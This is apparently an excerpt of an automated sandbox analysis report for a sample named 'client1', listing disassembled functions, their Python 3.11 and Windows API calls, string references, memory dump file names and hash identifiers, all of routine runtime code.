Strings

name, xrefs: 00007FFBAA734B74, 00007FFBAA734BA2
argument 1, xrefs: 00007FFBAA734BA9
a unicode character, xrefs: 00007FFBAA734B9B

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositionalReadyUnicode_
String ID: a unicode character$argument 1$name
API String ID: 3545102714-4190364640
Opcode ID: dd7e525c6f15f79c0475ece0fbfed555bc2cf029fe1f0485a725b85a65e47b36
Instruction ID: bde4f137897cf522e20f3da755de1ab20c67c2098a0a7e61852747b34b94f6c7
Opcode Fuzzy Hash: dd7e525c6f15f79c0475ece0fbfed555bc2cf029fe1f0485a725b85a65e47b36
Instruction Fuzzy Hash: 3521A1B1B0AA96C5EB55EF22E4402AA2368EB44B84F4540B5DE4D47754CF2CE847C330

Function 00007FFBAA734C90 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON311 ref: 00007FFBAA734CCB
_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA734D00
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA734D11

Strings

numeric, xrefs: 00007FFBAA734CC4, 00007FFBAA734CF2
argument 1, xrefs: 00007FFBAA734CF9
a unicode character, xrefs: 00007FFBAA734CEB

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositionalReadyUnicode_
String ID: a unicode character$argument 1$numeric
API String ID: 3545102714-2385192657
Opcode ID: 35c9d41c65e7a6057b424292e649dab30af98cc9056b9a63245a5d832090e137
Instruction ID: 21169802ce1ee58fe1b240cfea16f405d7d8eb8c63b87688e3e3ea0de472e94a
Opcode Fuzzy Hash: 35c9d41c65e7a6057b424292e649dab30af98cc9056b9a63245a5d832090e137
Instruction Fuzzy Hash: FD21DEB2B0AA96C5EB55AF22E4441AA2368EB44B84F5940B5DF1D43364CF2CE457C330

Function 00007FFBAA7342BC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON311 ref: 00007FFBAA7342F7
_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA73432C
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA73433D

Strings

argument 1, xrefs: 00007FFBAA734325
a unicode character, xrefs: 00007FFBAA734317
decimal, xrefs: 00007FFBAA7342F0, 00007FFBAA73431E

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositionalReadyUnicode_
String ID: a unicode character$argument 1$decimal
API String ID: 3545102714-2474051849
Opcode ID: 37a4153ce9cd5952ba336a7a13e7d13d1a4106d113bef46bdc421c90457116d1
Instruction ID: 30adb9bd0b89d3930804dbb1056e009589ea1bdb3651b833de3c703945fb5713
Opcode Fuzzy Hash: 37a4153ce9cd5952ba336a7a13e7d13d1a4106d113bef46bdc421c90457116d1
Instruction Fuzzy Hash: 4721CDB1B1AA92C6EB55AF22E4401AA636CFB44B88F4940B5CE4D57764CF2DE447C320

Function 00007FF79F64706C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF79F64709D
GetLastError.KERNEL32 ref: 00007FF79F6470A9
CloseHandle.KERNEL32 ref: 00007FF79F6470C1
CreateFileW.KERNEL32 ref: 00007FF79F6470EC
WriteConsoleW.KERNEL32 ref: 00007FF79F64710B

Strings

CONOUT$, xrefs: 00007FF79F6470CD

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 1a41989b306c04176fbb8ce5d038fb17b2eb18ca34d01c5ff4cda60dd112554e
Instruction ID: 810f57fa96b3e569063fe0804fcb4f4afbcab54fabd34b9d9e30289ec406c851
Opcode Fuzzy Hash: 1a41989b306c04176fbb8ce5d038fb17b2eb18ca34d01c5ff4cda60dd112554e
Instruction Fuzzy Hash: D9118421718B8286F760BB22E854369B7AAFB58FE4F840234D96D87794CF3CD404C750

Function 00007FFBAA716F24 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

mbstowcs.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFBAA716F3C
PyErr_SetString.PYTHON311 ref: 00007FFBAA716F5D
PyUnicode_FromWideChar.PYTHON311 ref: 00007FFBAA716F6C
PyUnicode_AsUTF8String.PYTHON311 ref: 00007FFBAA716F7D
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716F8F

Strings

invalid decimal point or unsupported combination of LC_CTYPE and LC_NUMERIC, xrefs: 00007FFBAA716F53

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: StringUnicode_$CharDeallocErr_FromWidembstowcs
String ID: invalid decimal point or unsupported combination of LC_CTYPE and LC_NUMERIC
API String ID: 4243716454-835262532
Opcode ID: be6c2bc1afa28818636f2753519d6f4b24a3387ec2e2e3dcba228cf474a20bef
Instruction ID: 10c870dcc50133397b33dabef1c39e702f61c0818b364de84676a2e9afbfa3e5
Opcode Fuzzy Hash: be6c2bc1afa28818636f2753519d6f4b24a3387ec2e2e3dcba228cf474a20bef
Instruction Fuzzy Hash: 8C0162A1B1AA02C1EF028F31E84457A67E8AF48BC0F045472ED0E467B4EE3DE447C310

Function 00007FFBAA70C3CC Relevance: 9.2, APIs: 6, Instructions: 169COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000001,00000000,?,00000000,?,00000001,00000002,00007FFBAA70C171), ref: 00007FFBAA70C4EC
memmove.VCRUNTIME140(00000001,00000000,?,00000000,?,00000001,00000002,00007FFBAA70C171), ref: 00007FFBAA70C543
memmove.VCRUNTIME140(00000001,00000000,?,00000000,?,00000001,00000002,00007FFBAA70C171), ref: 00007FFBAA70C553
memmove.VCRUNTIME140(00000001,00000000,?,00000000,?,00000001,00000002,00007FFBAA70C171), ref: 00007FFBAA70C5CB
PyMem_Free.PYTHON311(00000001,00000000,?,00000000,?,00000001,00000002,00007FFBAA70C171), ref: 00007FFBAA70C622
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000001,00000000,?,00000000,?,00000001,00000002,00007FFBAA70C171), ref: 00007FFBAA70C66E

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: memmove$FreeMem_abort
String ID:
API String ID: 100173348-0
Opcode ID: 2c6e3f68204004541e7d797dec9d17c50c8afdb5f668a568ec833fb38442b9e8
Instruction ID: 82331e22a75f51f7712918e1b2f0170a769afc82db6fae61353043f505fa1004
Opcode Fuzzy Hash: 2c6e3f68204004541e7d797dec9d17c50c8afdb5f668a568ec833fb38442b9e8
Instruction Fuzzy Hash: 066191B260AB45D1DA62CF16F4502ABB7A8FB88BC4F540132EE8D57B69DE3CD146C710

Function 00007FFBAB492BF0 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB492C50
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB492C76
PyNumber_Remainder.PYTHON311 ref: 00007FFBAB492C93
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492CA5
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492CB4
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492D09

Part of subcall function 00007FFBAB493450: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FFBAB49286B), ref: 00007FFBAB493459
Part of subcall function 00007FFBAB493450: fprintf.MSPDB140-MSVCRT ref: 00007FFBAB493469
Part of subcall function 00007FFBAB493450: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FFBAB49286B), ref: 00007FFBAB493473
Part of subcall function 00007FFBAB493450: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FFBAB49286B), ref: 00007FFBAB49347C
Part of subcall function 00007FFBAB493450: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFBAB49286B), ref: 00007FFBAB493482

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t__acrt_iob_func$Number_Remainderabortfflushfprintf
String ID:
API String ID: 1333916573-0
Opcode ID: 988bd1455c911e46e63481f5793d118fb64da56076abf6250ab8b5c248bcde97
Instruction ID: 127697ef2990c1688bf856a74ea70a18d363882621128856b47e9513aaca2d5d
Opcode Fuzzy Hash: 988bd1455c911e46e63481f5793d118fb64da56076abf6250ab8b5c248bcde97
Instruction Fuzzy Hash: 8031A6B1F0BA4642EE564B3AE59427D5361AF55FE4F089234DE7E077E9DE2CE4828300

Function 00007FFBAA7027F4 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7028D6
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7028E1
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7028FF

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7148DB
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7148F1
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71490A

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$ContextErr_FormatObject_SubtypeType_Var_
String ID:
API String ID: 2679858911-0
Opcode ID: 12b4c4cf3228bb0d2d143253dfe1ec6c57aca567516acc9888419e859067e15b
Instruction ID: 656b6e8983623b122357d00c99749a305ae9c84d59e6f5c745ca3d34864de241
Opcode Fuzzy Hash: 12b4c4cf3228bb0d2d143253dfe1ec6c57aca567516acc9888419e859067e15b
Instruction Fuzzy Hash: C14173B2E0AB16D5EB569F75D8000BF27A8AB45B94B044072DE0E62A94DF3DE947C360

Function 00007FFBAA70F010 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA70F0F2
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70F113
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70F11B

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA716B3B
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716B51
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716B6A

Part of subcall function 00007FFBAA6F7250: PyMem_Free.PYTHON311 ref: 00007FFBAA6F72FB

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$ContextErr_FormatFreeMem_Object_SubtypeType_Var_
String ID:
API String ID: 3064042339-0
Opcode ID: a16e780cdf499231d06022fa089847657aad77cb3ed2b07bbf0e76c6e2031ded
Instruction ID: 84b491daa1b4007492cd94a7b4fb90971290591fca6b2879196af266a69bc870
Opcode Fuzzy Hash: a16e780cdf499231d06022fa089847657aad77cb3ed2b07bbf0e76c6e2031ded
Instruction Fuzzy Hash: 834160B2A0AB02D5EB668F75D8500BE27A8AB44B94F1440B2DE0E52B95DE3DE543C320

Function 00007FFBAB4928A0 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB4928E1
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB492913
PyNumber_Add.PYTHON311 ref: 00007FFBAB49292B
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492942
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492951
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49298E

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$Number_
String ID:
API String ID: 4245833954-0
Opcode ID: 324df5c6c456926af738d9154dbada473049b4658e8eab271715651b46320d21
Instruction ID: 07973e157972e56a9f820d493ac69be708be3482b2ca66322b770602fad09cd5
Opcode Fuzzy Hash: 324df5c6c456926af738d9154dbada473049b4658e8eab271715651b46320d21
Instruction Fuzzy Hash: 892141B1B0BA5641EE168B36D5A417C6360AF55BF4F089234DE7E077E5DE2CE4468301

Function 00007FFBAA7024A0 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA70257E
_Py_Dealloc.PYTHON311 ref: 00007FFBAA702589
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7025AA
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7025BA

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA71485B
_Py_Dealloc.PYTHON311 ref: 00007FFBAA714871

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$ContextErr_FormatObject_SubtypeType_Var_
String ID:
API String ID: 2679858911-0
Opcode ID: c7fd0e211f10f72f34beba943990120b88892db11ff7f0b1b49b95f2add7cb6d
Instruction ID: bbe51d7b0a5759b77e2b5fd79ca937ae4791b5de29a6a20e6a4e8337ba281855
Opcode Fuzzy Hash: c7fd0e211f10f72f34beba943990120b88892db11ff7f0b1b49b95f2add7cb6d
Instruction Fuzzy Hash: A84186B2E0AA12D4E7568F35D4240BE27A8EB44B94F0400B2DF0E56794DE3CE943C3A0

Function 00007FFBAB492AD0 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB492B26
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB492B4C
PyNumber_Multiply.PYTHON311 ref: 00007FFBAB492B64
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492B7B
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492B8A
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492BC7

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$MultiplyNumber_
String ID:
API String ID: 3214704217-0
Opcode ID: 077d120661e2442c2d7c8d046fe9cbc6f5cfd7a77582022ebf4a7fc655b50c7f
Instruction ID: 50b03805f7f1fbeec8b55b712d6f2173d76378aa463ade22dfbbd27613d2ebdf
Opcode Fuzzy Hash: 077d120661e2442c2d7c8d046fe9cbc6f5cfd7a77582022ebf4a7fc655b50c7f
Instruction Fuzzy Hash: EA315261B0BA1281EE564F36E59427C53A0AF55BF4F089639DE3E067E5DE2CE4418301

Function 00007FFBAB4929C0 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB4929F5
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB492A29
PyNumber_Subtract.PYTHON311 ref: 00007FFBAB492A41
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492A58
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492A67
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492AA4

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$Number_Subtract
String ID:
API String ID: 2424657569-0
Opcode ID: f24f7a854c09d2b2b1a08854a685ffdd7303fa68c210250e5475e1596f9aeefc
Instruction ID: aa01e571820887fdf78be64b69313930f8840b642f9837480bf5f22d90426bb9
Opcode Fuzzy Hash: f24f7a854c09d2b2b1a08854a685ffdd7303fa68c210250e5475e1596f9aeefc
Instruction Fuzzy Hash: C6219372B0BA4281EE1A8B36E59417D63A0EF89BE4F089135DF7D077A9DE2CE4458301

Function 00007FF79F63A798 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A7A7
FlsSetValue.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A7DD
FlsSetValue.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A80A
FlsSetValue.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A81B
FlsSetValue.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A82C
SetLastError.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A847

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
